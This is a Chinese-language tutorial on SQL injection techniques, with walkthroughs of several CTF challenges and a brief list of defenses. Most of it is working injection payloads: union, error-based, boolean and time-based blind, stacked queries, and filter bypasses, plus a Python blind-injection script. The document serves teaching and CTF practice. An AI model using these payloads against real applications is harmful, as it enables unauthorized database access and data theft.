SQL注入部分讲解
字数 1181 2025-08-15 21:34:01
SQL注入全面解析与实战指南
1. SQL注入基础概念
SQL注入是一种攻击技术,攻击者通过在正常的SQL语句中注入恶意语句,改变原SQL语句的执行逻辑。
1.1 整型注入
特征:注入点数据类型为整型
攻击流程:
- 判断查询字段数:
1 order by 3- 当查询字段数≥指定数字时页面正常
- 当查询字段数<指定数字时页面报错
- 确定显示位:
0 union select 1,2,3 - 获取表信息:
0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() - 获取列信息:
0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='f14g' - 获取数据
1.2 字符型注入
特征:注入点数据类型为字符型,需要闭合引号
关键点:
- 需要处理引号闭合问题
- 常用闭合方式:
admin' # admin' --+ admin' and '1
2. 高级注入技术
2.1 报错注入
适用场景:程序不输出查询结果但输出错误信息
常用函数:
-
updatexml:admin' and updatexml(1,concat(0x7e,database(),0x7e),1) # -
extractvalue:admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -
floor:select concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand()*2))as x,count(*) from information_schema.tables group by x
2.2 盲注技术
布尔盲注
特征:根据页面返回的布尔值(true/false)判断注入结果
攻击方法:
-
逐字符判断:
'and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' -
二分法优化脚本示例:
def tables(): table = "tables:" for i in range(1,30): l = 33 h = 126 while True: m = (l+h)/2 if m == l or m == h: table += chr(m) print table break payload = "'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{}".format(str(i),str(m)) res = requests.get(url+payload).text if flag in res: h = m else: l = m
时间盲注
特征:无任何回显,通过响应时间判断
攻击方法:
-
基本延时判断:
1 and if(1,sleep(1),1) -
获取表名:
1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<100,sleep(1),1) -
其他延时函数:
benchmark(count,expr)get_lock(str,timeout)- 笛卡尔乘积查询
2.3 堆叠注入
特征:通过分号(;)执行多条SQL语句
攻击示例:
1';show databases;
1';show tables from supersqli;
1';set @a=0x73656c656374...;prepare b from @a;execute b;
2.4 二次注入
原理:恶意输入先被存入数据库,之后取出时未转义直接使用
攻击流程:
- 注册恶意用户名:
admin' - 登录后触发注入
3. 绕过技术
3.1 过滤绕过
- 大小写绕过:
SeLeCt - 注释绕过:
select/**/ - 十六进制编码:
0x73656c656374 - 反引号包裹:
`1919810931114514`
3.2 引号逃逸
- 使用
\0:id=1\0&path=and 1=1- addslashes处理:
\0→\\0 - str_replace处理:
\\0→\
- addslashes处理:
4. 实战案例解析
案例1:强网杯2019随便注
解法:
-
堆叠注入获取信息:
1';show tables; 1';show columns from `1919810931114514`; -
预处理语句绕过:
1';Set @a=0x73656c656374...;Prepare b from @a;execute b;
案例2:RCTF2015 EasySQL
解法:
-
报错注入获取部分flag:
admin4"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)# -
正则匹配获取剩余部分:
admin4"&&updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^flag'))),1)#
案例3:GYCTF2020 Ezsqli
解法:
-
使用sys数据库替代information_schema:
select group_concat(table_name) from sys.x$schema_table_statistics where table_schema=database() -
布尔盲注获取数据:
0^((select ascii(substr(flag,1,1)) from f1ag_1s_h3r3_hhhhh)<100)
5. 防御措施
- 使用预处理语句(Prepared Statements)
- 严格过滤输入参数
- 最小权限原则
- 错误信息不直接显示
- 使用Web应用防火墙(WAF)
6. 工具与脚本
文中提供了多种Python脚本用于自动化注入,包括:
- 布尔盲注脚本
- 二分法优化脚本
- 时间盲注脚本
- 二次注入利用脚本
这些脚本通过系统化测试大大提高了注入效率,特别是在CTF比赛中。
注:本文档仅用于安全研究与防御技术学习,严禁用于非法用途。